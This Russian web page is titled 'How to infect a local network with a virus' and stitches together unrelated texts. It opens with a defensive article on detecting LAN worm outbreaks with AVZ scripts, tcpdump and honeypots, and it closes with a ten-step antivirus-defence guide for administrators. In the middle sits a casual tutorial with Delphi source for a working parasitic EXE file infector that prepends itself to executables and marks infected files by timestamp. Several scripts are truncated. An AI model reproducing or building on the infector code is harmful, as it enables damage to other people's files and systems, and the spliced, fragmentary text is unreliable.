Как заразить локальную сеть вирусом
Проблема эпидемии сетевых червей актуальна для любой локальной сети. Рано или поздно может возникнуть ситуация, когда в ЛВС проникает сетевой или почтовый червь, который не детектируется применяемым антивирусом. Сетевой вирус распространяется по ЛВС через не закрытые на момент заражения уязвимости операционной системы или через доступные для записи общие ресурсы. Почтовый вирус, как следует из названия, распространяется по электронной почте при условии, что он не блокируется клиентским антивирусом и антивирусом на почтовом сервере. Кроме того, эпидемия в ЛВС может быть организована изнутри в результате деятельности инсайдера. В данной статье мы рассмотрим практические методики оперативного анализа компьютеров ЛВС с применением различных средств, в частности с помощью авторской утилиты AVZ.
Постановка задачи
В случае обнаружения эпидемии или некой нештатной активности в сети администратор должен оперативно решить минимум три задачи:
- обнаружить зараженные ПК в сети;
- найти образцы вредоносной программы для отправки в антивирусную лабораторию и выработки стратегии противодействия;
- принять меры для блокирования распространения вируса в ЛВС и его уничтожения на зараженных компьютерах.
В случае деятельности инсайдера основные шаги анализа идентичны и чаще всего сводятся к необходимости обнаружения установленного инсайдером постороннего ПО на компьютерах ЛВС. В качестве примера такого ПО можно назвать утилиты удаленного администрирования, клавиатурные шпионы и различные троянские закладки.
Рассмотрим более подробно решение каждой из поставленных задач.
Поиск зараженных ПК
Для поиска зараженных ПК в сети можно применять как минимум три методики:
- автоматический удаленный анализ ПК — получение информации о запущенных процессах, загруженных библиотеках и драйверах, поиск характерных закономерностей — например процессов или файлов с заданными именами;
- исследование трафика ПК с помощью сниффера — данный метод очень эффективен для отлова спам-ботов, почтовых и сетевых червей, однако основная сложность в применении сниффера связана с тем, что современная ЛВС строится на базе коммутаторов и, как следствие, администратор не может осуществлять мониторинг трафика всей сети. Проблема решается двумя путями: запуском сниффера на маршрутизаторе (что позволяет осуществлять мониторинг обмена данными ПК с Интернетом) и применением мониторинговых функций коммутаторов (многие современные коммутаторы позволяют назначить порт мониторинга, на который дублируется трафик одного или нескольких портов коммутатора, указанных администратором);
- исследование нагрузки на сеть — в данном случае очень удобно применять интеллектуальные коммутаторы, которые позволяют не только оценивать нагрузку, но и удаленно отключать указанные администратором порты. Данная операция существенно упрощается при наличии у администратора карты сети, на которой имеются данные о том, какие ПК подключены к соответствующим портам коммутатора и где они расположены;
- применение ловушек (honeypot) — в локальной сети настоятельно рекомендуется создать несколько ловушек, которые позволят администратору своевременно обнаружить эпидемию.
Автоматический анализ ПК можно свести к трем основным этапам:
- проведение полного исследования ПК — запущенные процессы, загруженные библиотеки и драйверы, автозапуск;
- проведение оперативного обследования — например поиск характерных процессов или файлов;
- карантин объектов по определенным критериям.
Все перечисленные задачи можно решить при помощи авторской утилиты AVZ, которая рассчитана на запуск из сетевой папки на сервере и поддерживает скриптовый язык для автоматического обследования ПК. Для запуска AVZ на компьютерах пользователей необходимо:
- Поместить AVZ в открытую для чтения сетевую папку на сервере.
- Создать в этой папке подкаталоги LOG и Qurantine и разрешить пользователям запись в них.
- Запустить AVZ на компьютерах ЛВС при помощи утилиты rexec или логон-скрипта.
Запуск AVZ на шаге 3 должен производиться при таких параметрах:
\\my_server\AVZ\avz.exe Priority=-1 nw=Y nq=Y HiddenMode=2 Script=\\my_server\AVZ\my_script.txt
Рис. 1. Редактор скриптов AVZ
Рассмотрим три типовых скрипта, которые могут пригодиться в ходе борьбы с эпидемией. Во-первых, нам потребуется скрипт для исследования ПК. Задача скрипта — произвести исследование системы и создать протокол с результатами в заданной сетевой папке. Скрипт имеет следующий вид:
// Включение сторожевого таймера на 10 минут
// Запуск сканирования и анализа
//Завершение работы AVZ
В ходе выполнения данного скрипта в папке LOG (предполагается, что она создана в каталоге AVZ на сервере и доступна пользователям для записи) будут создаваться HTML-файлы с результатами исследования компьютеров сети, причем для обеспечения уникальности в имя протокола включается имя исследуемого компьютера. В начале скрипта располагается команда включения сторожевого таймера, который принудительно завершит процеcc AVZ через 10 минут в случае, если в ходе выполнения скрипта возникнут сбои.
Протокол AVZ удобен для изучения вручную, однако для автоматизированного анализа он мало пригоден. Кроме того, администратору часто известно имя файла вредоносной программы и требуется только проверить наличие или отсутствие данного файла, а при наличии — поместить в карантин для анализа. В этом случае можно применить скрипт следующего вида:
// Включение сторожевого таймера на 10 минут
// Поиск вредоносной программы по имени
QuarantineFile(‘%WinDir%\smss.exe’, ‘Подозрение на LdPinch.gen’);
QuarantineFile(‘%WinDir%\csrss.exe’, ‘Подозрение на LdPinch.gen’);
//Завершение работы AVZ
В этом скрипте задействуется функция QuarantineFile, которая совершает попытку карантина указанных файлов. Администратору остается только проанализировать содержимое карантина (папка Quarantine\сетевое_имя_ПК\дата_каратина\) на наличие помещенных в карантин файлов. Следует учесть, что функция QuarantineFile автоматически блокирует помещение в карантин файлов, опознанных по базе безопасных AVZ или по базе ЭЦП Microsoft. Для практического применения данный скрипт можно усовершенствовать — организовать загрузку имен файлов из внешнего текстового файла, проверять найденные файлы по базам AVZ и формировать текстовый протокол с результатами работы:
// Поиск файла с указанным именем
function CheckByName(Fname : string) : boolean;
if Result then begin
case CheckFile(FName) of
-1 : S := ‘, доступ к файлу блокируется’;
1 : S := ‘, опознан как Malware (‘+GetLastCheckTxt+’)’;
2 : S := ‘, подозревается файловым сканером (‘+GetLastCheckTxt+’)’;
3 : exit; // Безопасные файлы игнорируем
AddToLog(‘Файл ‘+NormalFileName(FName)+’ имеет подозрительное имя’+S);
//Добавление указанного файла в карантин
SuspNames : TStringList; // Список имен подозрительных файлов
// Проверка файлов по обновляемой базе данных
if FileExists(GetAVZDirectory + ‘files.db’) then begin
AddToLog(‘База имен загружена - количество записей = ‘+inttostr(SuspNames.Count));
for i := 0 to SuspNames.Count - 1 do
AddToLog(‘Ошибка загрузки списка имен файлов’);
Для работы данного скрипта необходимо создать в папке AVZ доступные пользователям для записи каталоги Quarantine и LOG, а также текстовый файл files.db — каждая строка данного файла будет содержать имя подозрительного файла. Имена файлов могут включать макросы, наиболее полезные из которых — %WinDir% (путь к папке Windows) и %SystemRoot% (путь к папке System32). Другим направлением анализа может стать автоматическое исследование списка процессов, запущенных на компьютерах пользователей. Информация о запущенных процессах есть в протоколе исследования системы, но для автоматического анализа удобнее применять следующий фрагмент скрипта:
// Обновление списка процессов
AddToLog(‘Количество процессов = ‘+IntToStr(GetProcessCount));
// Цикл анализа полученного списка
for i := 0 to GetProcessCount - 1 do begin
S1 := S1 + ‘,’ + ExtractFileName(GetProcessName(i));
// Поиск процесса по имени
if pos(‘trojan.exe’, LowerCase(GetProcessName(i))) > 0 then
S := S + GetProcessName(i)+’,’;
AddLineToTxtFile(GetAVZDirectory+’\LOG\_alarm.txt’, DateTimeToStr(Now)+’ ‘+GetComputerName+’ : ‘+S);
AddLineToTxtFile(GetAVZDirectory+’\LOG\_all_process.txt’, DateTimeToStr(Now)+’ ‘+GetComputerName+’ : ‘+S1);
В завершение рассмотрим последний из полезных скриптов анализа — скрипт автоматического карантина всех файлов, которые не опознаются по базе безопасных AVZ и по базе ЭЦП Microsoft:
Автоматический карантин изучает запущенные процессы и загруженные библиотеки, службы и драйверы, около 45 способов автозапуска, модули расширения браузера и проводника, обработчики SPI/LSP, задания планировщика, обработчики системы печати и т.п. Особенностью карантина является то, что файлы в него добавляются с контролем повторов, поэтому функцию автокарантина можно вызывать многократно.
Достоинство автоматического карантина заключается в том, что с его помощью администратор может оперативно собрать потенциально подозрительные файлы со всех компьютеров сети для их изучения. Простейшей (но весьма эффективной на практике) формой изучения файлов может быть проверка полученного карантина несколькими популярными антивирусами в режиме максимальной эвристики. Следует отметить, что одновременный запуск автокарантина на нескольких сотнях компьютеров может создать высокую нагрузку на сеть и на файловый сервер.
Исследование трафика можно проводить тремя способами:
- вручную при помощи снифферов;
- в полуавтоматическом режиме — в данном случае сниффер собирает информацию, и затем его протоколы обрабатываются либо вручную, либо некоторым ПО;
- автоматически при помощи систем обнаружения вторжений (IDS) типа Snort (http://www.snort.org/) либо их программных или аппаратных аналогов. В простейшем случае IDS состоит из сниффера и системы, анализирующей собираемую сниффером информацию.
Система обнаружения вторжений является оптимальным средством, так как позволяет создавать наборы правил для обнаружения аномалии в сетевой активности. Второе ее преимущество состоит в следующем: большинство современных IDS позволяют размещать агенты мониторинга трафика на нескольких узлах сети — агенты собирают информацию и передают ее. В случае же применения сниффера очень удобно пользоваться консольным UNIX-сниффером tcpdump. Например, для мониторинга активности по порту 25 (протокол SMTP) достаточно запустить сниффер с командной строкой вида:
tcpdump -i em0 -l tcp port 25 > smtp_log.txt
В данном случае ведется захват пакетов через интерфейс em0; информация о захваченных пакетах будет сохраняться в файле smtp_log.txt. Протокол сравнительно просто анализировать вручную, в данном примере анализ активности по порту 25 позволяет вычислить ПК с активными спам-ботами.
В качестве ловушки (Honeypot) можно использовать устаревший компьютер, производительность которого не позволяет применять его для решения производственных задач. Например, в сети автора в качестве ловушки успешно применяется Pentium Pro c 64 Мбайт оперативной памяти. На этот ПК следует установить наиболее распространенную в ЛВС операционную систему и выбрать одну из стратегий:
- Установить операционную систему без пакетов обновлений — она будет индикатором появления в сети активного сетевого червя, эксплуатирующего любую из известных уязвимостей для данной операционной системы;
- установить операционную систему с обновлениями, которые установлены на других ПК сети — Honeypot будет аналогом любой из рабочих станций.
Каждая из стратегий имеет как свои плюсы, так и минусы; автор в основном применяет вариант без обновлений. После создания Honeypot следует создать образ диска для быстрого восстановления системы после ее повреждения вредоносными программами. В качестве альтернативы образу диска можно использовать системы отката изменений типа ShadowUser и его аналогов. Построив Honeypot, следует учесть, что ряд сетевых червей ищут заражаемые компьютеры путем сканирования диапазона IP, отсчитываемого от IP-адреса зараженного ПК (распространенные типовые стратегии — X.X.X.*, X.X.X+1.*, X.X.X-1.*), — следовательно, в идеале Honeypot должен быть в каждой из подсетей. В качестве дополнительных элементов подготовки следует обязательно открыть доступ к нескольким папкам на Honeypot-системе, причем в данные папки следует положить несколько файлов-образцов различного формата, минимальный набор — EXE, JPG, MP3.
Рис. 2. Создание и настройка предупреждения о сетевой активности
В качестве предупреждения удобнее всего использовать сообщения электронной почты, отправляемые на почтовый ящик администратора, — в этом случае можно получать оперативные оповещения от всех ловушек в сети. Кроме того, если сниффер позволяет создавать несколько предупреждений, есть смысл дифференцировать сетевую активность, выделив работу с электронной почтой, FTP/HTTP, TFTP, Telnet, MS Net, повышенный трафик более 20-30 пакетов в секунду по любому протоколу (рис. 3).
Рис. 3. Письмо-оповещение, высылаемое
в случае обнаружения пакетов, соответствующих заданным критериям
При организации ловушки неплохо разместить на ней несколько применяемых в сети уязвимых сетевых служб или установить их эмулятор. Простейшим (и бесплатным) является авторская утилита APS, работающая без инсталляции. Принцип работы APS сводится к прослушиванию множества описанных в ее базе портов TCP и UDP и выдаче в момент подключения заранее заданного или случайно генерируемого отклика (рис. 4).
Рис. 4. Главное окно утилиты APS
Дистанционное удаление вредоносных программ
В идеальном случае после обнаружения образцов вредоносных программ администратор отправляет их в антивирусную лабораторию, где они оперативно изучаются аналитиками и в базы антивируса вносятся соответствующие сигнатуры. Эти сигнатуры через автоматическое обновление попадают на ПК пользователей, и антивирус производит автоматическое удаление вредоносных программ без вмешательства администратора. Однако эта цепочка не всегда работает как положено, в частности возможны следующие причины сбоя:
- по ряду независимых от администратора сети причин образы могут не дойти до антивирусной лаборатории;
- недостаточная оперативность антивирусной лаборатории — в идеале на изучение образцов и их внесение в базы уходит не более 1-2 часов, то есть в пределах рабочего дня можно получить обновленные сигнатурные базы. Однако не все антивирусные лаборатории работают столь оперативно, и обновления можно ждать несколько дней (в редких случаях — даже недель);
- высокая работоспособность антивируса — ряд вредоносных программ после активации уничтожают антивирусы или всячески нарушают их работу. Классические примеры — внесение в файл hosts записей, блокирующих нормальную работу системы автообновления антивируса, удаление процессов, службы и драйверов антивирусов, повреждение их настроек и т.п.
Следовательно, в перечисленных ситуациях придется бороться с вредоносными программами вручную. В большинстве случаев это несложно, так как по результатам исследования компьютеров известны зараженные ПК, а также полные имена файлов вредоносных программ. Остается только произвести их дистанционное удаление. Если вредоносная программа не защищается от удаления, то уничтожить ее можно скриптом AVZ следующего вида:
// Эвристическая чистка системы
Данный скрипт удаляет один заданный файл (или несколько файлов, так как команд DeleteFile в скрипте может быть неограниченное количество) и затем производит автоматическую чистку реестра. В более сложном случае вредоносная программа может защищаться от удаления (например, пересоздавая свои файлы и ключи реестра) или маскироваться по руткит-технологии. В этом случае скрипт усложняется и будет иметь следующий вид:
// Включение протоколирования BootCleaner
// Импорт в задание BootCleaner списка файлов, удаленных скриптом
HLLO- High Level Language Overwrite. Такой вирус перезаписывает программу своим телом. Т.е.
программа уничтожается, а при попытке запуска программы пользователем- запускается вирус и "заражает" дальше.
HLLC- High Level Language Companion. Большинство таких вирусов от-носятся к седой древности (8-10 лет назад), когда у пользователей стоял ДОС и они были очень ленивы. Эти вирусы ищут файл, и не изменяя его, создают свою копию, но с расширением .COM. Если ленивый пользователь пишет в командной строке только имя файла, то первым ДОС ищет COM файл, запуская вирус, который сначала делает свое дело, а потом запускает ЕХЕ файл. Есть и другая модификация
HLLC - более современная (7 лет ;)): Вирус переименовывает файл, сохраняя имя, но меняя расширение- с ЕХЕ на, допустим, OBJ или MAP. Своим телом вирус замещает оригинальный файл. Т.е. пользователь запускает вирус, который, проведя акт размножения, запускает нужную программу- все довольны.
HLLP- High Level Language Parasitic. Самые продвинутые. Приписывают свое тело к файлу спереди (Первым стартует вирус, затем он восстанавливает программу и запускает ее) или сзади
- тогда в заголовок проги мы пишем jmp near на тело вируса, все-таки запускаясь первыми.
Саму же программу мы можем оставить в неизменном виде, тогда это будет выглядеть так:
MZТело злобного вируса |
MZКод программы |
Что такое MZ, я думаю, ты догадался 🙂 Это же инициалы твоего любимого Марка Збиковски, которые он скромно определил в сигнатуру exe файла 🙂 А вписал я их сюда только для того, чтобы ты понЯл
- заражение происходит по принципу copy /b virus.exe program.exe, и никаких особых приколов тут нет. Сейчас нет. Но мы их с тобой нафигачим
- будь здоров :). Ну, например: можно первые 512 или больше байт оригинальной программы зашифровать любым известным тебе алгоритмом- XOR/XOR, NOT/NOT, ADD/SUB, тогда это будет выглядеть как:
MZтело злобного вируса |
XORed часть ориг. проги |
Неизменная часть ориг. проги |
В этом случае структура зараженного файла не будет так понятна.
Я не зря тут (в классификации, в смысле) так распинаюсь
- parasitic-алгоритм используют 90% современных вирусов, независимо от их способа распространения. Ладно, идем дальше:
Сетевой вирус. Может быть любым из перечисленных. Отличается тем, что его распространение не
ограничивается одним компом, эта зараза каким-либо способом лезет через инет или локальную сеть на другие машины. Я думаю, ты регулярно выносишь из мыльника 3-4 таких друга
- вот тебе пример сетевого вируса. А уж попав на чужой комп, он заражает файлы произвольным образом, или не заражает ВООБЩЕ.
Макро вирусы, скриптовые вирусы, IRC вирусы. В одну группу я определил их потому, что это вирусы, написанные на языках, встроенных в приложения (MSOffice :)), скриптах (тут рулит твой любимый VBS) и IRC скриптах. Строго говоря, как только в каком-то приложении появляется достаточно мощная (и/или дырявая) скриптовая компонента, на ней тут же начинают писать вирусы 😉 Кстати, макро вирусы очень просты и легко определяются эвристикой.
Дошли 🙂 Давай, запускай дельфи, убивай всякие окошки и вытирай из окна проекта всю чушь. То есть вообще все вытирай 🙂 Мы будем работать только с DPRом, содержащим:
program EVIL_VIRUS;
USES WINDOWS,SYSUTILS;
begin
end;
Логику вируса, я думаю, ты уже понял из классификации- восстанавливаем и запускаем прогу--> ждем завершения ее работы--> стираем "отработавший файл" (забыл сказать- мы НЕ ЛЕЧИМ зараженную прогу, мы переносим оригинальный код в левый файл и запускаем его. ПРИМЕР: Зараженный файл NOTEPAD.EXE. Создаем файл _NOTEPAD.EXE в том же каталоге с оригинальным кодом, и запускаем уже его).--> ищем незараженное файло и заражаем. Это все 🙂 Базовая конструкция вируса выглядит именно так.
Объяви теперь для своего могучего мозга следующие переменные и константы:
VaR VirBuf, ProgBuf, MyBuf : array of char;
SR : TSearchRec;
My,pr : File;
ProgSize,result : integer;
PN,st : String;
si : Tstartupinfo;
p :Tprocessinformation;
infected : boolean;
CONST VirLen: longint= 1000000;
Первой строчкой идут динамические массивы, в которые мы будем писать соответственно тело вируса и программы; В переменную SR запишутся
характеристики найденного файла-кандидата на заражение (надеюсь, ты знаком с процедурами FindFirst и FindNext, потому что дальше будет хуже ;)), My и
Pr - это файл, откуда мы стартовали и левый файл с оригинальным кодом программы (я про него уже писал выше). result- результат работы FindFirst, он должен быть равен нулю,
ProgSize - размер кода программы. Остальное ясно из дальнейшего, кроме
infected - это признак зараженности найденного файла и
VirLen- это длина кода вируса, ее ты узнаешь только после свадьбы. Тьфу, я хотел сказать, после компиляции. Т.е. компилируешь, меняешь значение константы в исходнике и перекомпилируешь.
Кодим далее 🙂 Здесь ты видишь код, ответственный за восстановление и запуск зараженной программы:
SetLength (virbuf,VirLen);
AssignFile (my,ParamStr(0));
st:= paramstr(0);
St:= st+#0;
CopyFile (@st[1],'c:\windows\program.exe',false);
IF FileSize (my)> VirLen then
begin
//Запуск программы
AssignFile (my,'c:\windows\program.exe);
Reset (my);
ProgSize:= FileSize(my)-VirLen;
BlockRead (my,virbuf,virlen);
SetLength (progbuf,pRogSize);
BlockRead (my,progbuf,progSize);
CloseFile (my);
PN:= '_'+ParamStr(0);
AssignFile (pr,PN);
ReWrite (pr);
BlockWrite (pr,progbuf,progSize);
CloseFile (pr);
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
PN:= PN+#0;
Createprocess(nil,@PN[1],nil,nil,false,Create_default_error_mode,nil,nil,si,p);
Waitforsingleobject(p.hProcess,infinite);
//Запустили, программа отработала. Сотрем ее 🙂
ErAsE (pr);
Erase (my);
Тут все, в принципе просто и понятно, кроме того, зачем я перенес весь зараженный файл в каталог к виндам и что делают строчки с 3 по 5 включительно.
А сделал я это потому, что читать из запущенного файла некомфортно и возможно только с использованием CreateFile и ReadFile WinAPI. Про кодинг на WinAPI я расскажу позднее, сейчас я разберу только основы
- на Delphi.
Строчки эти - преобразование string в pchar народным методом, поскольку мы сейчас боремся за каждый байт кода. Еще момент: я поступил некорректно, задав путь c:\windows так жестко. Пользуйся лучше процедурой GetWindowsDirectory, узнай точно 🙂 Все остальное понятно без всяких комментариев (если нет
завязывай прогуливать информатику ;)), идем дальше:
result:= FindFirst ('*.exe',faAnyFile,sr);
WHILE Result= 0 DO
begin
//Проверка на вшивость
Infected:= false;
IF DateTimeToStr (FileDateToDateTime (fileage (sr.name)))= '03.08.98 06:00:00' then infected:= true;
//Проверено!
IF (infected= false)and (sr.name<>paramstr(0)) then
begin
AssignFile (my,sr.Name);
ReWrite (my);
BlockWrite (my,virbuf,virlen);
BlockWrite (my,progbuf,sr.Size);
CloseFile (my);
FileSetDate (sr.Name,DateTimeToFileDate(StrToDateTime ('03.08.98 06:00:00')));
end;
end;
//Если вир запущен "чистым", т.е. не из зараженной про-граммы, то завершаемся
end else halt;
Что же твой зоркий глаз видит тут? Правильно, процедура FindFirst ищет нам заданную жертву (любой exe файл из текущего каталога), передает его характеристики в переменную SR. Затем необходимо его проверить на зараженность. Это делается оригинально: при заражении файлу присваивается опр. дата и время. И любой файл с такими характеристиками считается зараженным. Все остальное опять же нецензурно просто, поэтому я плавно перехожу к заключению 🙂
Вот мы и накодили наш первый вирус. Пока он умеет только заражать файлы в текущем каталоге (хотя, я уверен, ты его легко модернизируешь ;)) и ничего не знает про другие каталоги и интернет. Не отчаивайся, мы его этому быстро обучим. Пока поиграйся с этими строчками, и жди следующей статьи.
Рискну дать тебе описание всех процедур, использованных в статье. Это поможет тебе искать их в хелпе и подготовиться к кодингу серьезных вирусов с использованием
WinAPI.
AssignFile - в WinAPI нет аналога - сопоставляет файл
с переменной типа File или TextFile
Reset - аналоги _lopen и CreateFile - открывает
существующий файл и устанавливает позицию
чтения в начало
ReWrite - _lcreate и CreateFile - создает новый файл и
уст. позицию чтения в начало. Если скормить
ReWrite существующий файл, его содержимое
будет обнулено
BlockRead - _lread и ReadFile - читает в буфер
определенное количество данных из файла
BlockWrite - _lwrite и WriteFile - соответственно, пишет
данные в файл
SeekFile - _llseek и SetFilePointer - перемещает позицию
чтения/записи в открытом файле
CloseFile - _lclose и CloseHandle - закрывает открытый
файл
Erase - DeleteFile - удаление файла
FindFirst - FindFirstFile - поиск файла по критериям
FindNext - FindNextFile - поиск следующего файла
Владимир Бондарев
Как правильно организовать оборону компьютерных сетей от вредоносного ПО.
Статья адресована начинающим системным администраторам.
Под антивирусной защитой я подразумеваю защиту от любого вредоносного ПО: вирусы, трояны, рут-киты, бэк-доры,…
Все рекомендации относятся больше к Windows.
1 Шаг по антивирусной защите – установка антивирусного ПО на каждом компьютере в сети и обновление не реже чем ежедневно. Правильная схема обновления антивирусных баз: за обновлениями ходят 1-2 сервера и раздают обновления всем компьютерам в сети. Обязательно ставьте пароль на отключение защиты.
Рекомендую применять антивирусы от разных производителей, например, на рабочих станциях Касперский, на почтовых и прокси-серверах M cAffee.
У антивирусного ПО много недостатков. Главный недостаток - они не ловят вирусы, написанные на заказ и которые не получили широкого распространения. Второй недостаток– они нагружают процессор и занимают память на компьютерах, кто-то больше (Касперский), кто-то меньше (Eset Nod32), это надо учитывать.
Установка антивирусного ПО – обязательный, но недостаточный способ защиты от вирусных эпидемий, часто сигнатура вируса появляется в антивирусных базах на следующий день после его распространения, за 1 день вирус может парализовать работу любой компьютерной сети.
Обычно системные администраторы останавливаются на 1 шаге, хуже того, не доводят его до конца либо не следят за обновлениями и рано или поздно заражение все-таки происходит. Ниже перечислю другие важные шаги по усилению антивирусной защиты.
2 Шаг. Политика паролей. Вирусы (трояны) умеют заражать компьютеры в сети подбирая пароли к стандартным учетным записям: root, admin, Administrator, Администратор. Всегда используйте сложные пароли! За учетные записи без паролей либо с простыми паролями системный администратор должен быть уволен с соответствующей записью в трудовой книжке. После 10 попыток неверного ввода пароля учетная запись должна блокироваться на 5 минут, чтобы защититься от брут-форса (подбор пароля методом простого перебора). Встроенные учетные записи администраторов крайне желательно переименовать и заблокировать. Периодически пароли нужно менять.
3 Шаг. Ограничение прав пользователей. Вирус (троян) распространяется по сети от имени пользователя, который его запустил. Если у пользователя права ограничены: нет доступа на другие компьютеры, нет административных прав на свой компьютер, то даже запущенный вирус ничего не сможет заразить. Нередки случаи, когда сами системные администраторы становятся виновниками распространения вируса: запустили админ кей-ген и пошел вирус заражать все компьютеры в сети…
4 Шаг. Регулярная установка обновлений безопасности. Это сложная работа, но делать ее надо. Обновлять нужно не только ОС, но и все приложения: СУБД, почтовые серверы.
5 Шаг. Ограничение путей проникновения вирусов. Вирусы попадают в локальную сеть предприятия двумя путями: через сменные носители и через другие сети (Интернет). Запретив доступ к USB, CD-DVD, вы полностью перекрываете 1 путь. Ограничив доступ в Интернет, вы перекрываете 2 путь. Этот метод очень эффективен, но тяжело реализуем.
6 Шаг. Межсетевые экраны (МСЭ), они же файерволы (firewalls), они же брэндмауэры. Их нужно обязательно устанавливать на границах сети. Если ваш компьютер подключен к Интернет напрямую, то МСЭ должен быть включен обязательно. Если компьютер подключен только к локальной сети (ЛВС) и выходит в Интернет и другие сети через серверы, то на этом компьютере МСЭ включать необязательно.
7 Шаг. Разделение сети предприятия на подсети. Сеть удобно разбивать по принципу: один отдел в одной подсети, другой отдел – в другой. На подсети можно делить на физическом уровне (СКС), на канальном уровне (VLAN), на сетевом уровне (не пересекаемые по адресам ip подсети).
8 Шаг. В Windows есть замечательный инструмент по управлению безопасностью больших групп компьютеров – это групповые политики (ГПО). Через ГПО можно настроить компьютеры и серверы так, что заражение и распространение вредоносного ПО станет практически невозможным.
9 Шаг. Терминальный доступ. Поднимите в сети 1-2 терминальных сервера, через которые пользователи будут ходить в Интернет и вероятность заражения их персональных компьютеров упадет до нуля.
10 Шаг. Отслеживание всех запускаемых на компьютерах и серверах процессов и служб. Можно сделать так, чтобы при запуске неизвестного процесса (службы) системному администратору приходило уведомление. Коммерческое ПО, которое умеет это делать, стоит немало, но в некоторых случаях затраты оправданы.
Читайте также: